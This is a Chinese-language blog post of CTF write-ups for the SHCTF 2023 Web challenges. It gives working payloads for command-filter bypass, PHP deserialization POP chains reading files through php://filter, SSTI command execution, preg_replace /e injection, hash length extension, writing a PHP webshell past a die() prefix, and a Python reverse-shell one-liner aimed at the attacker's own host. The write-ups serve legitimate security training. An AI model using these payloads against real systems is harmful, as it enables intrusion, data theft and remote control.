SHCTF-Web

WEB

[WEEK1]babyRCE

1
2
3
4
5
6
7
8
9
10
11
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

ls一下,发现当前目录有两个文件:flag.php index.php
正则过滤了一堆读文件的指令、数字和一些符号,但没有过滤\``?``$``{``}几个常用字符,所以我们可以构造c\at${IFS}f\lag.php来读取flag.php
image.png
但遗憾的是这不是真的flag,也许我们应该看看根目录:ls${IFS}/image.png
在根目录里发现flag文件,于是利用c\at${IFS}\f?ag读取flag。
image.png
flag{005da9d5-c577-46b9-8107-bd9f9cad9910}

[WEEK1]1zzphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}

名字里标ez的从不ez
num挺好绕,正则不许包含数字,intval()获取变量的整数值,但intval函数传入非空数组时会返回1,所以传入num[]=1就行。
c_ode倒是挺麻烦,正则不能包含SHCTF,下面stripos()必须要有SHCTF,那就只能绕过正则了。
换行符绕过没有$也绕不了,数组绕过会导致下面的stripos()也跟着寄,所以只能利用PCRE回溯次数限制绕过。

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'c_ode': BytesIO(b'a' * 1000000 + b'2023SHCTF')
}

res = requests.post('http://112.6.51.212:32988/?num[]=1', data=files, allow_redirects=False)
print(res.text)

image.png
flag{de284cdf-220b-4885-b5e8-26dcfd5505e9}

[WEEK1]ez_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);

class A{
public $var_1;

public function __invoke(){
include($this->var_1);
}
}

class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}

}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}

class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>

__invoke() //当尝试将对象调用为函数时触发

__wakeup() //执行unserialize()时,先会调用这个函数
__toString() //把类当作字符串使用时触发

__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法

unserialize()–>__wakeup()
preg_match()–>__toString()
return $this->z->var–>__get()
return $function();–>__invoke()
include()可以用php协议读取文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A{
public $var_1;
}

class B{
public $q;
}

class C{
public $var;
public $z;
}

class D{
public $p;
}

$a=new A();
$b=new B();
$c=new C();
$c1=new C();
$d=new D();
$a->var_1='php://filter/convert.base64-encode/resource=flag.php';
$d->p=$a;
$c->z=$d;
$b->q=$c;

echo serialize($b);
?>

payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}}
flag{c9d75c95-c087-4025-a575-e63622577953}

[WEEK1]登录就给flag

flag登录就送
没啥特殊的东西,直接Burp Suite里爆破就行。
image.png
flag{dd18f6b6-821c-48f1-b5f2-ab5aa8c440ef}

[WEEK1]飞机大战

直接看js源码。
image.png
unicode解码出ZmxhZ3tmMjdkMWM4Mi0yOTI1LTRkYzItOTk3Ny0zNjc5NTkyNGJiZGR9,然后base64解码出flag
flag{f27d1c82-2925-4dc2-9977-36795924bbdd}

[WEEK1]ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>

我们可以控制第一个和第三个参数,第二个参数固定为 ‘print_r(“\1”)’ 字符串。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(第二个参数)当做代码来执行。第二个参数中的\\1\\1实际上就是 \1,而\1 在正则表达式中有自己的含义,

反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,
所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。
缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,
其中 n 为一个标识特定缓冲区的一位或两位十进制数。

payload:
code=${phpinfo()} pattern=\S*
然后在phpinfo中找到flag
image.png

[WEEK1]生成你的邀请函吧~

image.png
直接POST传参就行。
image.png
flag{7381785e-bb91-4b8c-9804-6f96ac147444}

[WEEK2]serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

需要注意的一点就是传递参数时的wanna_fl.ag,当变量名中出现非法字符时时,就会被替换成_,但只能替换一次,所以我们使用[提前触发替换,才能正常传参。
unserialize()–>__wakeup()–>return $this->ding->dong–>__get())–>die($this->a)–>__tostring()–>include($this->v)
注意函数miaomiao()会使$this->a='Mikey Mouse~',所以在构建pop链的时候先使$this->gao=&$this->a,将$this->gao设置为指向$this->a的引用。改变$this->gao的值时,$this->a的值也会随之改变,因为它们都指向同一块内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class musca{
public $ding;
public $dong;
}

class misca{
public $gao;
public $fei;
public $a;
}

class milaoshu{
public $v;
}

$a=new musca;
$b=new misca;
$c=new milaoshu;
$c->v='php://filter/convert.base64-encode/resource=flag.php';
$b->gao=&$b->a;
$b->fei=$c;
$a->ding=$b;

echo serialize(array($a));
?>

payload:wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}
base64解码得flag{667cb300-fac3-4d89-967c-34b10501a9ed}

[WEEK2]no_wake_up

点击睡个回笼觉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']);

怪,我明明记得这种题需要令序列化字符串中标识变量数量的值大于实际变量绕过__wakeup()函数,但我还没改值flag就自己蹦出来了,自己本地测也会出来,暂不清楚是个什么情况。

1
2
3
4
5
6
7
8
9
<?php
class flag{
public $username;
public $code;
}
$a=new flag;
$a->username = 'admin';
$a->code = "php://filter/convert.base64-encode/resource=flag.php";
echo serialize($a);

payload?:O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
flag{5671f346-48dd-48bc-8c81-865f7689d20c}

[WEEK2]ez_rce

果然有附件的Web题才是最难的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp

def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)

def cmd(arg):
subprocess.call(arg)

@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'

首先审计代码,服务器首先检查请求参数 exec 是否为 ‘ok’。如果是,则获取请求参数 shell并执行它。如果不是,则获取 JSON 请求体中的 exp参数,并将其与请求参数 numbol一起传递给 hint 函数。

分析可得有两种情况

  • GET传参exec=ok&shell可以执行shell命令
  • POST传递Json格式的exp以及GET传参num&bol可以修改suborocess中某个模块的bol值

因为有subprocess.call(arg)的存在,可以执行任意 shell 命令,但没有shell=True,不能执行有参数的命令,例如cat flag。所以第一步需要通过exp修改shell=True。
直接查看subprocess.py文件,就可以发现call函数实际上是去调用了Popen,所以我们应该要去修改Popen的参数。
image.png
image.png
Popen类的__init__方法储存了它的参数,我们要修改的就是这个。
函数的默认参数是保存在 defaults 中的。以元组的形式返回函数的默认参数,如果无默认参数则返回None。通过print(subprocess.Popen.__init__.__defaults__)读出为False的值位于第8位,所以我们GET传参num=7&bol=True
image.png
image.png

POST:{"exp" : ["Popen","__init__","__defaults__"]}
现在就可以直接执行带参数的指令了,但是没有回显,我们造一个反弹shell。
image.png
试了nc,bash -i,curl都没有收到请求,所以用Python 脚本反弹shell。
payload:exec=ok&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
image.png
flag{4dcb9af0-109a-439e-882b-68394a9893a9}

[WEEK2]MD5的事就拜托了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}

parse_url用于解析 URL 字符串,将其拆分为不同的组成部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果:
Array
(
[scheme] => http
[host] => host
[user] => user
[pass] => pass
[path] => /path
[query] => args=value
[fragment] => anch
)

SHCTF=user://pass:SHCTF@scheme/

$num*100!=intval($num*100),由于intval(0.1)==0,所以GET传参length=0.0001

得到flag长度为42,md5值为745b52419acf935dd5a847d54cb0679b
通过搜索可以得知是哈希扩展长度攻击,利用脚本获取poc
image.png
length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%001
SHCTF=27918fd1ffc4b8b23cd0085915b05e4c
flag isflag{7196d0c7-94bc-42e3-af5d-bb7b375ffa18}

[WEEK2]ez_ssti

非常坏题目,找不到要传什么参,还是搜别人ssti例子一个一个试才知道
hackbar随便一个ssti都能执行命令
name={{url_for.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}
image.png

[WEEK2]EasyCMS

搜到后台链接:/admin/admin.php,默认账号密码:admin/tao
登录发现有个文件管理系统
image.png
文件位置可以直接用相对路径向前读取
image.png
得到flag{wOw_CMs_1S_dAnGer0US_ALR1gHt?_9ba528bd0a38}

[WEEK3]快问快答

image.png
u1s1可以手算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import re
import time
from bs4 import BeautifulSoup

s = requests.Session()
r = s.get('http://112.6.51.212:32664/')
for i in range(50):
content = r.text

soup= BeautifulSoup(content,'lxml')
pString = soup.find_all(name='h3')
print(pString)

e = str(pString[0]).split(':')[1].split('=')[0]
e = e.replace('÷', '/')
e = e.replace('x', '*')
e = e.replace('异或', '^')
e = e.replace('与','&')

r = int(eval(e))
print(r)
time.sleep(1)
r = s.post('http://112.6.51.212:32664/',data = {'answer':r})
print(r.text)

怎么答快都不行啊 我搁这复现还要等50s
flag{c0N6R4TU1AtI0nS_oN_6ecOMING_a_quicK_9UE5ti0N_aNd_4n5weR_9UY_bfec6ea80496}

[WEEK3]sseerriiaalliizzee

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}

class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;

}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";

}
}

$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>

先是一段反序列化
echo unserialize($code)–>__toString()–>dosomething()
非常顺利的
接下来重点就是绕过这个die("+Genshin Impact Start!+"),利用base64编码,将死亡代码解析成为乱码,使得PHP引擎无法识别。

1
2
3
$useless   = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);

base64在解码的时候,是4个字节转化为3个字节,因为只有phpdie+GenshinImpactStart+26个字符参与了base64编码,所以要使后加的base64字符串正确解析,需要添加两个占位的符号,例如a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Start{
public $barking;
}

class CTF{
public $part1;
public $part2;
}
class Flag{
}
$a = new Start();
$b = new CTF();
$b->part1 = 'php://filter/convert.base64-decode/resource=x.php';
$b->part2 = 'aaPD9waHAgZWNobyBzeXN0ZW0oJ2NhdCAvZmxhZycpPz4=';

$a->barking = $b;

echo serialize($a)
?>

image.png

[WEEK3]gogogo

Go语言,属实没见过,使用GPT审计法。
image.png
这个Cookie算法搜了一圈也没搜到什么有用的东西。只能自己尝试把session.Values["name"] = "User"改为session.Values["name"] = "admin",然后把本地启动把生成的Cookie复制到服务器上。然后访问/readflag成功了。
image.png
image.png
image.png
看起来只需要传入filename就能读取文件的样子,但是正则过滤了除a以外的所有大小写字母和一堆符号,不过没有过滤\``?,所以可以利用通配符绕过。/???
image.png
flag{e4sY_coME_EASy_GoO0_c83753c69cf2}


SHCTF-Web
http://example.com/2023/10/30/SHCTF-WP-Web/
作者
pjx1314
发布于
2023年10月30日
许可协议